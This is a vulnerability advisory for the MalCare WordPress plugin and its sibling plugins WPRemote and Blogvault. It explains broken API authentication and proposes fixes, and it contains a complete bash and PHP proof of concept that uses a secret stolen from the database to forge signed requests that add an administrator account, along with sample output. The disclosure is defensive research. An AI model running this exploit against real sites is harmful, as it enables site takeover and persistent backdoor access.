Affected plugin | MalCare |
Active installs | 300,000+ |
Vulnerable version | <= 5.0.9 |
Audited version | 4.97 / 5.0.9 |
Fully patched version | 5.16 |
Recommended remediation | Removal of the plugin |
Description
MalCare uses broken cryptography to authenticate API requests from its remote servers to connected WordPress sites.
Requests are authentication by comparing a shared secret stored as plaintext in the WordPress database to the one provided by MalCare’s remote application.
This can allow attackers to completely take over the site because they can impersonate MalCare’s remote application and perform any implemented action, including, but not limited to:
- Creating malicious admin users.
- Uploading random files to the site.
- Installing/Removing plugins.
This is exploitable if any of the below pre-conditions are given:
- The site has one of the never-ending read-SQLi vulnerabilities in any plugin, theme, or WordPress Core. This recently happened with WooCommerce Stripe keys.
- The site’s database is compromised at the hosting level.
- Other methods that allow reading or updating WordPress options (wp_options), such as this wildly exploited Elementor vulnerability.
MalCare has received the full details of this vulnerability three months before this public release, and despite us offering (free) help, they subtly dismissed it because “supposedly” this is the industry standard for API authentication.
Note: WPUmbrella had the same conceptual vulnerability and fixed it within days.
Furthermore, concerns were raised, because the vulnerability requires a pre-condition that on its own, would be a vulnerability.
While this is true, the irony should be obvious here:
- MalCare, being a Malware Scanner, is only “useful” if your site has been infected with Malware.
- All Malware can read data from the database and steal the shared secret.
- Instead of infecting sites with “actual” Malware, hackers can steal the API key and then remove the Malware.
- ==> MalCare gives any Malware an undetectable, indefinite backdoor that can be used to reinfect sites repeatedly.
WPRemote and Blogvault have identical vulnerabilities because they all share 99% of their code.
Proof of concept
This vulnerability is exploitable through a combination of many security neglects:
- Storing API authentication secrets in plaintext.
- Using broken cryptography such as plain sha1/md5.
- Allow changing the used hash function based on attacker-controlled request parameters.
- Using PHP’s rand function to generate secrets, although the manual clearly states that “this function […] must not be used for cryptographic purposes.”
- Comparing secrets using the equality operator (!==) instead of the cryptographically secure hash_equals.
The below proof of concept can be used to verify that a malicious administrator can be added. Many other exploits are possible.
1. Install MalCare on a new site (you don’t need an account).
2. Go into your database, and copy the “bvSecretKey” option from the wp_options table.
3. Copy the below PHP and bash scripts to your local computer.
poc.sh
#!/bin/bash
# poc.sh
# Usage: bash poc.sh <siteurl> <malcare|wpremote|bvbackup> <secret-from-db>"
SITE_URL=$1
PLUGIN=$2
SECRET=$3
if [ -z "$SITE_URL" ]; then
echo "Usage: bash poc.sh <siteurl> <malcare|wpremote|bvbackup> <secret-from-db>"
exit 1
fi
if [ -z "$SECRET" ]; then
echo "Usage: bash poc.sh <siteurl> <malcare|wpremote|bvbackup> <secret-from-db>"
exit 1
fi
case "$PLUGIN" in
"malcare"|"wpremote"|"bvbackup")
# Do nothing or perform some action if the value is valid.
;;
*)
echo "Plugin must be one of 'malcare|wpremote|bvbackup'."
exit 1
;;
esac
function addAdminUser() {
php poc.php "$SITE_URL" "$PLUGIN" "$SECRET" "manage" "adusr" '{
"args": {
"user_login": "hacked",
"user_email": "[email protected]",
"role": "administrator",
"user_pass": "password"
}
}'
}
addAdminUser
poc.php
<?php
// poc.php
declare(strict_types=1);
// No need to change this.
const RANDOM_ACCOUNT_KEY_32_CHARS = 'KDogQ121k33pm7CBqSCnJcPo2SWfzC7v';
// No need to change this.
const TIMESTAMP = 1893456000;
// No need to change this.
const BLOGVAULT_VERSION = '1';
$input = $_SERVER['argv'];
$site_url = $input[1];
$plugin = $input[2];
$stolen_secret = $input[3];
// This corresponds to the actions the remote API can perform.
// See BVCallbackHandler:routeRequest().
$blogvault_wing = $input[4];
// This is the "sub-action" each feature can perform.
// See BVManageCallback::process() as an example.
$blog_vault_method = $input[5];
$params_as_json = $input[6];
$expected_auth_sig = md5($blog_vault_method.$stolen_secret.TIMESTAMP.BLOGVAULT_VERSION);
$expected_mac = hash_hmac('md5', $params_as_json, $stolen_secret);
$postData = [
'bvplugname' => $plugin,
'pubkey' => RANDOM_ACCOUNT_KEY_32_CHARS,
'rcvracc' => '1',
'wing' => $blogvault_wing,
'bvMethod' => $blog_vault_method,
'bvTime' => TIMESTAMP,
'bvVersion' => BLOGVAULT_VERSION,
'sig' => $expected_auth_sig,
'bvprms' => $params_as_json,
'unser' => ['bvprms'],
'bvprmsmac' => $expected_mac,
'bvprmshshalgo' => 'md5',
];
$ch = curl_init($site_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($postData));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
// Remove the "bvb64bvb64" prefix and suffix
$response = trim($response, 'bvb64bvb64');
// Base64 decode the response
$response = base64_decode($response);
// Remove the "bvbvbvbvbv" prefix and suffix
$response = trim($response, 'bvbvbvbvbv');
// Unserialize the response
$responseArray = unserialize($response);
// Convert the response array to a JSON array
$jsonResponse = json_encode($responseArray, JSON_PRETTY_PRINT);
echo $jsonResponse;
echo "\n";
4. Running the POC:
bash poc.sh <siteurl> <malcare|wpremote|bvbackup> <secret-from-db>
bash poc.sh https://wp.test malcare IsGVpJo16IhaKNZ2jyE6NcMfPwW9zCpK
will give you a JSON output like this.
{
"blogvault": "response",
"callbackresponse": {
"manage": {
"adusr": {
"adduser": {
"status": "Done",
"user_id": 2
}
}
}
},
"request_info": {
"requestedsig": "66ea0756e1a412c27f6eedaac7767414",
"requestedtime": 1893456000,
"requestedversion": "1",
"calculated_mac": "691f41"
},
"site_info": {
"wpurl": "https:\/\/wp.test",
"siteurl": "https:\/\/wp.test",
"homeurl": "https:\/\/wp.test",
"serverip": "110.254.29.162",
"abspath": "\/var\/www\/html\/",
"dbsig": "97cb91",
"serversig": "7dc355"
},
"account_info": {
"public": "KDdgQ2",
"sigmatch": "256e2a7"
},
"bvinfo": {
"bvversion": "5.09",
"sha1": "true",
"plugname": "malcare"
},
"api_pubkey": "",
"signature": "Blogvault API"
}
5. Verify that a new malicious admin account was created.
Proposed patch
All of the issues could have been easily fixed through the following means:
- Store API keys hashed or use asymmetric cryptography.
- Use proper message authentication, such as sodium_crypto_generichash, instead of broken sha1/md5 protocols.
- Never allow specifying security protocols in the request parameters.
- Use wp_rand instead of the insecure rand function to generate random strings.
- Always use hash_equals instead of (==) to compare secrets.
Timeline
Vendor contacted | April 13, 2023 |
First Response | April 24, 2023 |
Fully patched at | July 8, 2023 |
Publicly disclosed | July 6, 2023 |
Leave a Reply